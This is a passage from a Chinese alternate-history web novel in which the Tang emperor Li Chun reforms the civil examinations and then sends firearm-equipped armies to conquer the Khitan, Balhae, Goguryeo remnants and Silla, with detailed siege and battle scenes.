李纯确定好各个问题的解决方式后,白居易就开始忙着抓落实,他也给教育部的三个官员进行分工,自己负责联系教育经费和组建初中学校,张籍统筹负责编写初中的教材和教学大纲,王建则全力做好明年按照新式科举录取进士的事宜。
按照李纯的要求,要在元和9年5月份按照新的模式选拔进士,在7月下旬就要录取初一的学生,教育部刚组建,就接到这么重要的任务,所有的人员都忙坏了。
白居易不仅自己忙着筹备初中学校的事宜,还让部里的少卿杨巨源,带着部里的官员到各地进行督办、指导初中的设立。
张籍更是忙的不可开交,带着另一个少卿崔韶,**了一帮学者,编写几个学科的教材和教学大纲,编写的过程中,经常找李纯请示,力图让新的
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教材和教学大纲与李纯的规划相一致。
王建负责的新模式科举,虽然有一定的基础,但是具体的考核内容和标准,也是有点拿不准,也是组织了好几个专家进行研究,并多次请示李纯,才确定新科举的考核模式。
总体来说,新的科举方式要求生员们要有全面的知识,仅靠四书五经是远远不够了,诗文的内容压缩了,司法、经济、科学类的内容大幅增加,有新思想的综合类人才相对更容易被选拔为进士。
搞完机构和教育改革,李纯又开始考虑下步用兵的事情。李纯认为,以前汉唐的对外用兵和扩张上有点偏,长期跟西部、北部的游牧民族进行死磕,占领的土地都是荒漠、草原,并不适合汉人生存,只能实行羁縻政策,委派当地少数民族首领管理,非常容易反叛。
李纯前期打吐蕃、回鹘、南诏主要是夺回部分失地,新占领的土地不多,重在解除外部的安全威胁,维持唐朝对这些地区名义上的统治。
下步,李纯把出兵的重点放在东北的契丹、室韦、靺鞨和东部的新罗、扶桑一带,这些地区基本都适合农耕,可以迁移不少汉人过来,加强对这些区域的控制。
由于是为了长期占领,而且要打好几个政权,李纯决定进行更加充分的军事准备。平东军、平海军已经建成可以水陆两战的部队,装备了大量的战船,战船上蒙有铁皮,装有火炮,可以远程打击对手。
继平辽军、镇北军之后,兴中军也已经完成新式火器的装备,战斗力大增,三个军团可以成为陆上进攻的主力。争取经过这一仗,让其他部队也都经历战场锻炼,十个军团都能积累战功,后面来一次长期的休养生息。
为了巩固后方,平蕃军镇守肃州,震慑安西各国;威西军镇守兰州,威慑吐蕃各国;平胡军镇守云州,威慑回鹘各国;平蛮军镇守昆州(昆明)威慑西南各国;平南军镇守交州,威慑南洋各国,五个军团确保其他方向不被侵扰。
除防守之外的其他五个军团全部参与第三阶段战事,其中,平辽军从檀州(今北京密云)出发向东北横扫奚、契丹等部族,最后攻向渤海国。
镇北军从平州(今河北卢龙)出发,沿辽西走廊东进,扫平沿途反叛势力,过辽河、鸭绿江,最后直达浿江(今朝鲜大同江)从北线进攻新罗。
平东军、兴中军移师到登州(今山东烟台、威海),从新罗西海岸仁川一带登陆,从侧后攻击新罗,然后再进攻扶桑。
平海军移师到翁洲(今浙江舟山),准备在最后阶段渡海参与攻击扶桑。
为了打好这一仗,李纯派武元衡带韩泰赴登州组建征东元帅府,在登州统一调度战前各项准备,战事发起后协调指挥五个军团的行动,务必一举讨平东方各国。
对于其他各国,李纯只是单纯的占地,但是对扶桑国却有比较复杂的心情。在前世,李纯深刻记得,扶桑的后裔,多次大举入侵中国,对华夏造成了巨大的破坏,心中的那个结始终难以完全解开。
如果这次征讨顺利还好,如果胆敢反抗,就别怪唐军不客气了。为此,李纯专门派人送一个密函给平东军统领田弘正,让其打到扶桑再打开密函。
冬季不适合作战,唐军只能先做各项战事准备,武元衡调度各军进入到出发地集结,进行临战训练。到了元和9年2月份,气温回升,李纯发出讨伐令,平辽军、镇北军率先展开行动。
平辽军从檀州出发,向北进入奚族的区域,奚族是东胡、乌桓人的后裔,此时处于**状态,有的依附唐朝、有的依附契丹,还有的处于独立状态,相对弱小。
对于平辽军统领李听来说,这些都是开胃小菜,一路扫荡过去,奚族被打的四处逃散、望风披靡,各个部落迫于形势,纷纷献上牛羊财物,向唐军投降。
即使有个别不长眼的,胆敢与唐军接仗,也是被逐个团灭,如切瓜削菜。按照唐军的传统,只要肯投降唐军,并缴纳贡赋、提供军需物资的部落,李听代表朝廷封其部落首领为官,然后率军徐徐往东进发。
可能是前面打的太顺利了,李听有点惯性思维,认为契丹人也很好对付,有点自大了,就没有过多的进行分析和准备。
第69章 出征东北
以前,在唐朝强大时,契丹人依附唐朝,接受松漠都督一职,在回鹘强大时,契丹人依附回鹘,自称可汗。此时,回鹘已经被唐朝灭掉肢解,契丹趁机独立,并裹挟部分奚族人,成为东北的一个小霸王。
在武则天时期,契丹首领李尽忠与孙万荣就曾经带领族人发动叛乱,多次打败唐军,所以契丹人并不惧怕唐军。
前面两年,唐军先后扫平吐蕃、回鹘,契丹人深知唐**器的厉害,但是他们也发现了唐军的特点,那就是在白天的远战占优,在近战和夜战战斗力会下降很多,于是契丹人决定搞一次反击。
唐军进入契丹境内后,契丹人坚壁清野,撤往后方,军队隐蔽不出,唐军难以捕捉其主力。为了尽快抓住敌人,李听将所属的6个旅分开部署,一路平行展开向东北方向推进,像耙子一样不给契丹人留下逃脱的机会。
东面还有镇北军,契丹人不敢发动攻击,其西面则没有兵力对其造成威胁,契丹人瞄准了平辽军最西面的一个独立旅,在其夜晚宿营时,发动突袭。尽管留有警戒哨,但是唐军还是猝不及防,被两万多契丹骑兵袭击。
在夜战中,唐军的火炮、**威力难以发挥,只能用随身携带的短刀进行反击,只有少量的唐军及时拿起**,点燃火绳,开枪反击,但是难阻契丹人的大规模突击,损失惨重。
激战中,有一部分唐军反应过来,拿起**,点燃后扔进契丹的骑兵中,炸死不少契丹人。由于唐军各团距离不是太远,随时可能过来支援,契丹人不敢恋战,在唐营大肆杀掠一番后,便迅速后撤。
次日,李听带着平辽军主力赶到,清点损失,这个旅共战死近两千人,其余三千多**部分都有伤,战场上留下一千多契丹人的尸体,还被抢走了部分物资。
自唐军对外作战以来,唐军从来没有这么窝囊过,居然死伤比对方严重,真是奇耻大辱,李听又愧又怒,发誓要让契丹人血债血偿。
刘光颜带领镇北军行到营州,本来打算直接向辽河开进,听说契丹人袭击了平辽军,急忙向北靠拢,准备和平辽军先灭掉契丹,再向新罗进发。两个军团协同作战,唐军对契丹人形成了明显的优势。
李听找来大批投降的奚族作为向导,并派出大量斥候,寻找契丹人的主力。仍然采取平行推进的方式前进,但是夜间设立坚固的营垒,派出大量的人员巡查,火器就近放置,营地内设置大量火堆,随时可以使用火器反击。
两个军团形成扇形包围圈,一路向北推进,契丹人退无可退,再向北就是室韦人和靺鞨人的领地。契丹人也不甘心把自己游牧的草原拱手让人,决定故伎重演,再次发动夜袭。
这次遇袭的是靠中间的一个旅,在营地附近巡逻的斥候发现有契丹骑兵来袭后,迅朝天速射出**箭预警,营地内的唐军快速反应,拿起火器准备发射。
契丹人刚接近营地,发现唐军已经严阵以待,只能硬着头皮冲进去。栅栏后面的唐军对着冲来的契丹军就是一梭子**,营地内的唐军架起大炮,朝着契丹军的方向猛轰。
由于有栅栏阻挡,契丹军无法冲入唐军营内,栅栏后面的唐军不停发射**,还有炮弹落到契丹军的后方,前后夹击打的契丹军人仰马翻。连续发起几个冲锋,契丹人根本无力攻破唐军营垒,只能撤退。
远远看到攻杀的信号,李听迅速带着平辽军其他部队赶过来,碰到契丹军就一路截杀。刘光颜则认为,契丹派精兵突袭,后方必然空虚,于是率镇北军直扑契丹人后方的老巢。
进攻唐军营地的三万契丹军,在营地附近就损失不少,一路被围过来的平辽军截杀,沿途又损失了不少,只剩一万多人,只能往后方老巢逃去。
刘光颜带领镇北军经过搜索,终于在北面发现契丹人的老巢,有好几万人,主要是剩余的兵力和家属,能战的只有一万多人。刘光颜率军如削瓜切菜一般,把契丹留守人员打的大败,契丹人纷纷投降。
镇北军刚刚受降,发现逃回的一万多契丹败兵,连忙派人又是一顿火力打击,这帮夜袭的契丹兵倒霉透顶,又**两千多,赶紧投降。在契丹老巢两次投降的男女老少达四五万人,契丹昭古可汗也被抓住,契丹人彻底失败。
不久,李听带着平辽军也追过来,发现刘光颜的镇北军已经受降,控制住了局势。两军统领商议了一下,李听强烈要杀一批契丹人,为死去的唐军报仇,刘光颜则认为除去首恶即可,其他人只要投降,尽量减少杀戮。
经过反复磋商,唐军决定杀掉以昭古可汗为首的几十个反唐的首领和将领,没收大批牛羊作为唐军军需物资,把契丹人分成六个部落,扶持亲唐的贵族作为首领,要求他们必须效忠唐朝,每年称臣纳贡。
待妥善处理了契丹的事务后,由幽燕道暂时接收、管理奚族和契丹的地盘,两军按照原先的任务,继续向东进军。
这次对契丹作战,本是平辽军的任务,但是因为李听的麻痹大意,造成了较大的损失。而镇北军则因为处置得当,一举端掉契丹的老巢,刘光颜立了大功,李听只能怏怏而去。
两军共同行军至辽河,按照先前区分的任务分开,平辽军沿辽河向北,按照计划进攻渤海国,镇北军渡辽河向东,准备扫平辽东沿线势力后,进攻新罗。
李听带领平辽军沿辽河北上,行至扶余城(今吉林四平)就到了渤海国的地面,渤海国的守军早就知道了唐军的厉害,主力提前撤离,扶余城只有一些老弱病残,唐军来了就投降。李听这次学精了,抓几个熟悉渤海国情的官员,详细询问,知道情况后再用兵。
平辽军在扶余城完成补给后,在渤海俘虏的带领下,部队向东行至渤海长岭府(今吉林梅河口一带),这里的守军和扶余城差不多,也是早早撤退,留下一个空城。
李听又抓了一些俘虏,询问情况,知道再往北走,就到了渤海国的腹心地带,经显德府(今吉林敦化),即可到达渤海国都龙泉府(今黑龙江宁安)。
李纯给李听的任务就是破契丹、占渤海,前面契丹一战,李听损兵折将,还被刘光颜分走了不少军功,气的李听半死,这次独立作战,他决心一定要彻底拿下渤海国,挽回颜面。
平辽军在长岭城简单补给以后,平辽军继续沿着辉发河北上,向显德府进军。渤海国大部分都是山区,一路上山高林密,道路崎岖,猛兽出没,平辽军吃了不少苦。
为了一世英名和军功荣誉,李听是咬着牙,带着部队一路北上。按照俘虏所带的路线,李听带平辽军过松花江,到达蛟河镇,准备翻越威虎岭攻下显德府。
渤海人自知打不过唐军,本来以为让给唐军一些地盘,唐军就会退走,没想到唐军继续朝其中心地带进发,彻底麻爪了。在渤海国,显德府又称中京,是仅次于龙泉府的存在,一旦丢失,其挨着的龙泉府也将不保,渤海人这次是没法退了,只能抵抗。
蛟河镇与显德府之间的威虎岭,是一道天然的屏障,也是一道险关,渤海人准备凭借天险,与唐军在此决战,打退唐军的进攻。渤海人集中了3万精锐,在威虎岭凭险固守,准备了大量的滚木礌石,设置了大批弓箭手,专等唐军来攻。
唐军刚开始发动试探性攻击,上面的滚木礌石就砸下来,堵住了前进道路。由于山路难行,李听将大炮留在了扶余城,只带了一些轻便的小炮和**、**。
对于这种山间隘口,单纯的小炮轰击难以造成实质性的突破,李听决定采取正面牵制,侧翼攻击的方法。主力在正面牵制敌军,派出两个千人的分队,利用山间小路,翻山越到敌人侧后,利用**和**对敌军发动攻击。
渤海军把主要防御方向设置在了前方,面对侧后的攻击缺乏有效手段,手里的弓箭,不管是射程还是射速都难以和**对垒,只能是被动挨打。
趁着渤海军两面受敌,李听在正面也发起了攻击,前面由少量人员带着护盾在前方开路,其他人员占领有利位置进行掩护,交替前进。仍有一些渤海军往下投滚木礌石,唐军的炮手、**专门盯着这些敌军打,露头就打,搞的山上的渤海军死伤惨重。
在唐军的前后夹击下,山上的渤海军陷入了困境,如果继续死守可能有被困死的危险。为了保存有生力量,渤海军利用地利的优势,熬到了天黑,然后收缩兵力,在次日黎明进行突围,沿小路朝显德府狂奔而去。
平辽军对地形不太熟悉,所以并不追赶,集中力量清理道路上的滚木礌石,然后迅速通
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过威虎岭,直扑显德府。在威虎岭设伏的渤海军逃到显德府后,与城里的守军汇合,准备在这里据城死守。
显德府离龙泉府较近,是渤海国的战略要地,渤海军极有可能进行增援,李听决定来个围点打援。平辽军留一半兵力围困显德府,一半兵力在显德府东北方向渤海军来援的必经之路上,选择有利地形设伏。
显德府是龙泉府的重要屏障,不得有失,渤海军派出2万多人过来增援,唐军派出的斥候,立即回报李听。
李听率军在一个山间的谷地早就埋伏好了人马,待渤海军到达后,唐军各种火器齐发,**也被扔出来,打的渤海军死伤惨重。渤海军本来还想恃勇冲击过去,尝试了几次,根本不是对手,留下一堆尸体,狼狈逃回龙泉府。
援军撤了,李听留下部分兵力防止渤海军二次增援,主力开始集中攻击显德城。显德城共有4万多渤海军防守,但是除了弓箭之外没有其他有效的反击武器,只能是依靠城池抵抗。
李听让平辽军在距离城墙五六十丈左右的位置设置一道防线,炮手、**手在防线后对着城上的渤海军射击。
这个距离恰好是弓箭的射程之外,渤海军射出的弓箭大部分掉落在半途,只有极少数射过来也被盾牌挡住。经过小炮和**的连续密集射击,城上的渤海军死伤惨重,再也不敢露头射击。
唐军采取两人一组的方式进行搭配,一个人拿着大盾牌进行防御,一个人拿着**在盾牌后射击,两人配合缓慢向城墙推进。
唐军在推进的过程中,还是有一些渤海军露头用弓箭射击唐军,这时唐军拿枪的士兵集中火力射击露头的渤海军。谁露头谁挨打,搞得渤海军难以发起有效反击,只能眼睁睁的看着唐军向城墙附近缓慢推进。
唐军的攻击梯队在城门两侧地段**,打的城门两侧渤海军只能躲在城墙后侧,这时唐军推着撞车来到城门附近。有些渤海军看到唐军试图破门,还想朝下面扔石头、火油,刚一露身,就被附近的唐军来个集射,打成了筛子。
在城门外唐军的保护下,几十个唐军推着撞车猛烈撞击城门,经过多次冲撞,城门被撞开,唐军拉出撞车,先是对着城门内一阵猛射,打退城门附近的渤海军,然后组织人马城门内进攻。
城内的渤海军**在城门附近的建筑后面,拼命朝城门方向射箭,城门处的唐军则用**向里射击,由于城门狭小,唐军难以展开,被城内的渤海军弓箭压制住,难以有效推进。
李听发了狠,干脆调来不少**,埋在城门口两侧,而后撤出城门附近的唐军。
唐军点燃**后在远处观望,只听一声巨响,城门两侧的城墙被彻底炸塌,城门上的渤海军不是被炸死就是摔死。唐军再用小炮对着城门附近的渤海军一阵猛射,又射杀一批渤海军。
看着城门附近反击的渤海军越来越稀少,唐军再次组织兵力,越过倒塌的城墙向城内攻击,相互配合着沿城内主干道向前推进。
刚开始还是有些渤海军射箭反击,但是被唐军密集的火力压制,敢于反击的渤海军纷纷中枪倒地。随着入城的唐军越来越多,唐军的火力越来越猛,渤海军被迫退守到显德府衙等几个重要据点。
唐军扫清其他地方的渤海军后,将显德府衙和其他据点层层包围,不断用火器猛射,府衙内的渤海军支撑不住,最终被迫投降。
李听拿下显德府以后,为了减少渤海国后续的抵抗,决定采取怀柔措施,善待投降的渤海军,并派人到龙泉府招降。
渤海国王大言义和众臣商议后,觉得渤海国很难打退唐军,决定有条件投降,就是渤海国以附属国的身份向唐朝臣服。
按照朝廷的意见,投降的国家都是要肢解掉,不可能留下完整的国家,这样即使臣服,后面也可能反叛,李听决定再打一仗,打掉渤海军的幻想。
渤海国在显德府的降军,李听决定进行收编,对他们开出了较好的条件,只要是真心投降的将领,原级任用,愿意加入唐军序列的士兵,全部接收。
为了调动这些降军的积极性,李听跟降军将领讲明前景,后续唐军消灭渤海国以后,会分解成好几个小国,这些降军将领可以各领一方,只要向唐朝称臣纳贡即可。
第70章 攻下丸都
这些将领听到李听的条件后,来了精神,打下的地盘自己也有一份,表示愿意配合唐军进攻龙泉府。
李听布置得当后,留下少量部队守备显德府,率领两万多唐军主力还有一万多投降的渤海仆从军,向龙泉府进攻。
经投降的渤海军将领介绍,渤海国在龙泉府只有三万左右的军队,根本不是唐军的对手,那些渤海仆从军熟悉地形,愿意充当先锋,引导唐军向龙泉府进发。
龙泉府比显德府略大,但是经过威虎岭和显德府两次战役,渤海军损失惨重,精锐丧失大半。关键的是,渤海军内对唐军产生了严重的畏惧心理,手中的弓箭根本打不过唐军的火器。
唐军到达龙泉府后,先围城,然后向渤海国下达最后通牒,要求渤海国王退位,国家一分为五,选出亲唐的王族或大臣任国王,而后全部投降唐朝,宣誓效忠,每年纳贡。
面对生死存亡时刻,渤海国王大言义动摇了,在众臣的劝谏下,决定接受唐军的条件,投降唐军。
渤海国投降以后,国王大言义被废,其弟大明忠接任其中靠近唐朝的一个西部小国的国王。
前面投降的渤海将领莫闾赤被授予以龙泉府为中心的小国的国王,另一个投降的渤海将领萨明卢被任命为靠近东南方向的一个小国国王,渤海外两个小王,李听决定让他们自己去争取。
李听在龙泉府投降的渤海军中,选出两个亲唐的渤海将领,让他们各带1.5万渤海军,分别配五千人的唐军,其中渤海军在前方攻击,唐军在后方监督和支援。
两支军队从龙泉府出发,末日厚率军向西北的室韦(今嫩江流域)进发,宁布黎率军向东北的黑水靺鞨(今黑龙江中下游)进发,谁能顺利征服一个区域,谁就回来担任国王。
李听在派出两路军队后,派人将废掉的国王大言义及其家人送到平州,然后由平州派人送到长安,自己带领剩下的平辽军留在龙泉府,镇守渤海国及其以北区域。
按照李听的理解,这两个渤海将领,手里有兵,又有唐军支援,对于打室韦和黑水靺鞨应该没有多大问题。
室韦和黑水靺鞨比渤海国更靠北,也更落后,基本处于部落割据状态,两支部队出发后,开始东征西讨,降服各个部落。
末日厚率军在穷山恶水之间奔波了好几个月,终于在元和9年冬季征服了室韦,回到渤海国顺利担任西北部的国王。
但是,宁布黎却起了叛心,由于渤海国与黑水靺鞨同属靺鞨族,他们沆瀣一气,暗中勾结,突然联手袭击监督他们的5000唐军。
5000唐军不敌,损失了近1000多人,而后被迫南撤回龙泉府,向李听报告情况。
李听这次又被摆了一道,气得要吐血,由于天气太冷,无法用兵,只能等到来年春季再出兵。
元和十年2月下旬,李听留下部分兵力守卫龙泉府,率领2万人,沿着牡丹江往东北方向进发。
宁布黎听说唐军来讨伐,明知不是对手,带着部队东躲西藏,一直逃到黑水下游。
李听沿途抓了不少黑水靺鞨的部落首领,对他们严刑拷打,终于打听到宁布黎所部的活动区域。
唐军一路追击,终于在4月上旬,将宁布黎所部逼到松花江与黑水的交汇处,此处三面邻水,宁布黎所部无处可逃,被迫与唐军对战。
李听下令,往死里打,唐军也被这股反复无常的叛军惹**了,对他们猛烈进攻,疯狂射击。部队损失过半后,宁布黎开始慌了,命人打白旗投降。
李听想,你想投降就投降,想叛乱就叛乱,拿爷当猴耍呢,今日答应你投降,往后这股人如果再叛乱,自己就该撞墙**。
李听命令部队,继续进攻,不留活口,唐军也对这股叛军恨意十足,用更加密集的火力射击这股叛军,这些叛军这时彻底怕了、悔了、晚了!
最终,除了少数人跳江游过松花江,逃出生天,包括宁布黎在内的一万多叛军,全部殒命在此,最后全部被扔进江里喂鱼。
李听认为,松花江与黑水的交汇处(今同江),是黑水靺鞨的中心地带,留了3000兵力镇守此处,而后率领其他部队回到了龙泉府。
刘光颜率领镇北军与平辽军分开以后,在辽河附近短暂停留,稳定新征服的区域,刘光颜待幽燕道掌控辽河以西的区域后,向东渡过辽河,进入安东都护府的辖区。
安东地区就是汉魏时期的辽东,公孙度曾在此地建立汉人政权,招徕了大量的汉人到此地居住,曾经一度兴盛,在东北地区拓展了汉人势力。
但是,在魏国大将司马懿的征伐下,公孙政权被消灭,大量支持公孙政权的汉人**,其他汉人百姓被司马懿强令迁往内地,辽东地区一下子就空虚了,鲜卑人、契丹人、靺鞨人、高句丽人趁虚而入,辽东成为各民族的杂居之地。
在唐朝征服辽东以前,这里是高句丽王国的区域,高句丽王国灭亡以后,其遗民仍在,成为辽东人数最多的民族,掀起过多次叛乱。
唐朝**叛乱后,设立了安东都护府,但是由于汉人数量不多,仅靠少量军队难以形成稳固的统治。
刘光颜带领镇北军从辽河往东进发不久,到达辽东城,安东都护陈中师早已在此迎候。陈中师将刘光颜一行迎入辽东城,好生招待,酒足饭饱之后,陈中师开始刘光颜介绍辽东的情况。
陈中师说:“我朝在高宗皇帝时,曾经联合新罗击败高句丽、百济,在高句丽旧地设立安东都护府,后来新罗趁唐朝内乱,侵占了不少领土,安东都护府只能退到浿江以北地区。近些年朝廷势力衰微,安东一带的高句丽旧部蠢蠢欲动,我们安东都护府只能实际管理辽河以东的几个小州,其他地区的高句丽人只是名义上向都护府臣服,实际上已经处于半独立状态。你们来的正好,可以把那些高句丽残余势力扫除干净,再去打新罗。”
刘光颜也不客气:“皇上一直牵挂边疆地区,前面一直忙于处理藩镇问题,后面又打吐蕃、回鹘,这次派我们镇北军过来,就是彻底解决东北的问题。你可以把几个不服管的高句丽地方势力告诉我,我自会率军扫平,打完他们我再去打新罗。”
陈中师立即来了劲头:“目前对我们威胁最大的,是原高句丽王族后裔高发武,此人利用原高句丽王族的身份,招降纳叛,在高句丽旧都丸都城(今吉林集安)建立了势力,他明面上臣服大唐,实际上**了好几支高句丽势力,约有兵力两万人,随时可能反叛,必须要予以剪除。”
刘光颜说:“这个没问题,你们安东都护府做好两件事,一是给我们镇北军提供军需物资,二是派出向导,带我军进攻高发武。”
镇北军在辽东城休整了两天,补充了一下物资,就挥师向东,向丸都城进发,辽东城往东基本都是山路,颇为难行。
刘光颜认为高发武所部实力不强,决定由副将宋朝隐率领一万人马和重型武器向南,到达浿江北岸,做好进攻新罗的前期准备,自己率领两万人携带**、**进攻高发武。
千山以东,基本就出了唐朝的实际控制区,当地的高句丽人好久没有看到这么多唐军来到这里,惊诧不已。
刚开始,还有些高句丽势力不知深浅,竟敢伏击、偷袭唐军,被唐军的**打的死伤惨重,后面其他高句丽势力见到唐军就躲,再也不敢与唐军为敌。
约二十多天后,刘光颜率领唐军达到丸都城,此地位于鸭绿江边的一个小山上,山顶地势平缓,周边相对较陡,是一个较为险固的山城。刘光颜决定先在城下扎营,查看情况,派出人员要求高发武投降。
第二天,高发武的使者跟随唐军人员来到唐军营中,高发武的使者表示,高发武一直在名义上服从大唐,从无叛心,不知唐军为何来讨伐,高发武愿意资助唐军粮草财物,请求唐军退去。
刘光颜说:“如果高发武没有叛心,**那么多人在这里做什么,
丸都城属于高句丽旧都,必须拆毁,高发武的军队也必须遣散,这样我们就会退军。”
使者回去以后,高发武自然不会答应这样的条件,下令士兵登城,凭坚防守。刘光颜也觉得,如果不打一仗,高发武不会束手就擒,干脆直接消灭。
由于没带重武器,而且丸都城地势险要,唐军攻城就有点难度。刘光颜考虑了一番后,决定利用火力优势,逐步向城墙推进,而后炸塌城墙,再从缺口处攻入。
确定战术以后,刘光颜下令四面围城,其中北、东、南三面只围不打,将主攻放在城西。
刘光颜让城西的唐军借助盾牌,拿着**
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,向丸都城缓慢推进。当唐军走到一半时,丸都城上的高句丽军队开始扔出滚木礌石,唐军看到后,赶忙躲避,但是还是有一部分唐军躲避不及,死伤了几十人。
开局不利,刘光颜非常恼火,决定先消耗高句丽人的滚木礌石,再次派出小股唐军带着盾牌,分散向丸都城靠近。
高句丽人故伎重演,再次扔出滚木礌石,这次由于唐军散的比较开,而且早有准备,很快的就找地方躲避。如此搞了一个回合,高句丽人的滚木礌石越来越少,发现自己中计了,停止了扔滚木礌石。
刘光颜重新组织兵力,把人马分成三个波次,派出第一波先带着盾牌、**向城墙靠近。
这次高句丽人看到唐军多了一些,再次扔出滚木礌石,唐军再次后退躲避,然后第二波接着上,高句丽人再扔,唐军再退,再让第三波上。
高句丽人发现,继续这样扔下去,自己的滚木礌石早晚会扔光,就不敢再扔,准备靠近了用弓箭射杀唐军。
第三波唐军带着盾牌、**靠近城墙,刘光颜发现高句丽不再扔滚木礌石,心中大喜。
当唐军靠近城墙时,有的高句丽军开始用弓箭射击唐军,唐军停止前进,躲在盾牌后面用**射击高句丽军。由于**比弓箭射击距离远,瞄准射击更容易,对射了一阵,城上的高句丽军死伤明显比唐军严重,又开始扔滚木礌石,但是数量明显比以前少了。
第三波唐军并不恋战,看到高句丽人开始扔滚木礌石,就撤下去了,然后第一波唐军接着上,还是按照原来的打法,走到离城墙一段距离时,就停止前进,躲在盾牌后面射击城上的高句丽军。
打了一阵,高句丽军自然打不过唐军,又是死伤一批,再次扔滚木礌石,但是比上一次更少。
第一波唐军按照计划再撤,第二波唐军再上,继续走到合适的距离,在盾牌后面射击高句丽军,高句丽的弓箭手哪里是唐军**兵的对手,继续死伤。
高句丽军又想再次扔出滚木礌石,企图吓退唐军,没想到这次唐军早有准备,集中火力射击搬运滚木礌石的高句丽军,那些高句丽军被大量射杀,根本没法把滚木礌石扔出去。
这个时候,第三波唐军又推进上来,唐军的火力更猛,打的高句丽军无法抬头。两波唐军朝着城墙缓慢推进,边走边射击,不给高句丽还击的机会。
唐军到达丸都城西门附近后,第二波唐军队形不变,压制城墙上的高句丽军,第三波唐军向城门附近集中,对着城门上发射密集的火力,西门城上的高句丽军根本没有露头还击的机会。
此时,第一波唐军带着**包跟了上来,在第三波唐军的火力掩护下,在西门附近埋设大量的**,然后留出一段火绳,点燃火绳后,城门附近的唐军快速后退。
城上的高句丽军还不知道怎么回事,不知道唐军为何突然撤退,探出头来正看着,突然一声巨响,城门附近的一段城墙完全被炸塌。
趁着城上的高句丽人死伤,唐军立即杀回来,向西门附近的高句丽军攻击,这次只有少量的高句丽军反击,但是很快被唐军的火力压制下去。
唐军到达西门后,一部分在外围掩护,一部分越过垮塌的城墙向城内攻击。没有了城墙的保护,城内的高句丽军不堪一击,纷纷败退,随着入城的唐军越来越多,大量高句丽军被射杀,一部分高句丽军被迫投降。
唐军最后将残余的高句丽军逼入高发武的府中,在唐军连续的猛攻下,高句丽人已经无力抵抗,高发武只得率领身边仅存的一千多人投降。
由于高句丽军的抵抗,镇北军死伤了两百多人,还耗费了大量的**,刘光颜非常恼火,直接将高发武和他身边的几个将领射杀,然后在城中进行大抓捕,总共抓了一万多人的俘虏。
刘光颜派出两千人,指定一个裨将带领,将这一万多俘虏押送到辽东城,交给陈中师,然后再从辽东城补充粮草**,送到浿江的军事前线。刘光颜则直接率领剩余主力,渡过鸭绿江,直奔唐朝和新罗的界河浿江。
镇北军副将宋朝隐已经率领另外一万多人抵达浿江,和新罗军对峙,刘光颜率军抵达浿江时,宋朝隐报告刘光颜,新罗得到唐军讨伐的消息后,在浿江南岸集结了十万大军,阻止唐军渡河。
第71章 征服新罗
刘光颜并不急着接战,一方面命令部队休整,补充粮草**,一方面派人向武元衡报告情况,派出其他兵力进击。
新罗军据河防守,又有兵力优势,刘光颜知道单靠3万镇北军想要顺利渡河是很难的,反正他的任务是牵制敌军,所以并不着急。
为了骚扰新罗军,镇北军沿河设置了一些炮兵阵地,隔河对着新罗军进行炮击,炸得新罗军死伤了不少人马。
镇北军还征集了一些民船,派出少量部队乘船向新罗方向出击,还未靠岸,新罗军就射箭反击,唐军顺势撤回。
就这样折腾了十来天,唐军不断作出要渡河攻击的架势,新罗军主力都被吸引在浿江沿线,动弹不得。
刘光颜提前将情况报告给武元衡后,武元衡立即派平东军、兴中军,从登州乘船向新罗的西海岸进发。
十几天后,唐军的船队到达新罗的汉州(今韩国首尔)以西的仁川一带,此地只有少量的新罗军,在水军炮火的掩护下,两支唐军顺利登陆。
唐军在仁川登陆后,兵分两路,兴中军向北进发,准备会同镇北军消灭浿江沿线新罗军。平东军沿着海岸线,向南水陆齐攻,向新罗的都城金城(今韩国庆州)进发。
严秦率领的兴中军早就憋着一股劲,前两年眼睁睁看着别的部队作战立功,兴中军只能干着急,这次逮住机会准备大干一番。
兴中军一路北上,如入无人之境,沿途扫荡前进。浿江防守的新罗军得知后路被断,非常恐慌,留下4万人守江,集中6万精锐向南突击,准备以优势兵力击溃兴中军。
元和九年六月,兴中军与反击的新罗军在沙里院遭遇,发起了沙里院之战。新罗军以6万对兴中军3万,虽然有人数优势,但是打仗不是这么算的,兴中军人员装备齐全,没有任何损失,士气正旺。
两军遭遇后,兴中军对着新罗军就是一阵炮火打击,炸的新罗军死伤惨重,两军相接以后,唐军的**密集射击,新罗军根本不是对手,少量的弓箭被压制,刀枪根本无法近身,只有被动挨打的份。
打了几个时辰,新罗军损失近两万人,支撑不住,只能北逃。
北边的刘光颜也没闲着,看到大股的新罗军南撤,知道南线得手了,自己也不愿意让别人全得战功,决定也发起攻击。
此时,镇北军已经搜集到了足够的船只,先是以炮火开路,对着河岸的新罗军一阵猛轰,打的新罗军纷纷后撤,唐军的运兵船迅速开动,船上的唐军用**朝南岸射击,发现河岸有抵抗的新罗军,就集火射击。
在唐军的暴力强推下,新罗军的浿江防线迅速崩溃,纷纷后撤。登岸的镇北军,追着新罗军猛打,待镇北军全部渡江后,新罗军早已支持不住,集体南逃。
北逃和南逃的新罗军在浿江以南的松林镇汇合,镇北军和兴中军将他们团团围住,颇有泰山压顶之势。
为了体现人道精神,唐军决定先对新罗军劝降,只要新罗军肯投降,绝对不伤其性命,主动投降的将领还可以授予官职,如拒不投降,唐军将全歼被围的新罗军。
新罗军已经领教了唐军的枪炮火力,几个新罗将领商议了一番,认为投降可以保命,还有机会做官,决定还是向现实低头,向唐军投降。
十万新罗军,新罗连续打击,逃到松林的只有不到七万,其中很多还带着伤,除了投降也没有出路了。
两军押着这些俘虏向南进发,到达汉州后,镇北军停止前进,负责留下收容改编俘虏,清理新罗北部区域残余的敌军,兴中军则继续向南进发,准备会同平东军进攻新罗国都金城。
平东军沿着海岸线向南、向东进发,一路并不恋战,只攻打沿海几个重要城市,然后就直扑金城,陆上的其他城镇,留给兴中军攻取。
7月下旬,平东军凭借战船的海路优势,顺利到达金城以东海岸,登陆后经过一番激战,打退出战的新罗军,将其逼回城内。
兴中军先后打掉沿途几个敢于抵抗的城镇,其他的新罗军发现不是唐军的对手,先后向新罗的西南部重镇光州**。
光州守将朴永泰认为,平东军已经从海陆往金城进攻,如果让兴中军拿下光州,两军合攻金城,新罗危矣。
由于其他城镇都守不住了,新罗西南部的所有军队约4万人,全部汇聚到朴永泰的旗下,希望在他的指挥下能够挡住兴中军。
朴永泰一方面加固城墙,一方面囤积物资,为了鼓舞士气,他还命人找来两块大白布,上面分别写着“誓守光州”,“死战到底”。
朴永泰将这两个标语,挂在唐军最有可能攻来的北门,既是给自己人打气,也是想吓阻唐军。
兴中军一路势如破竹,沿途的新罗军莫不望风而降,到了光州,发现这里的城池坚固,兵力众多,城门上还挂着很有气势的八个大字。
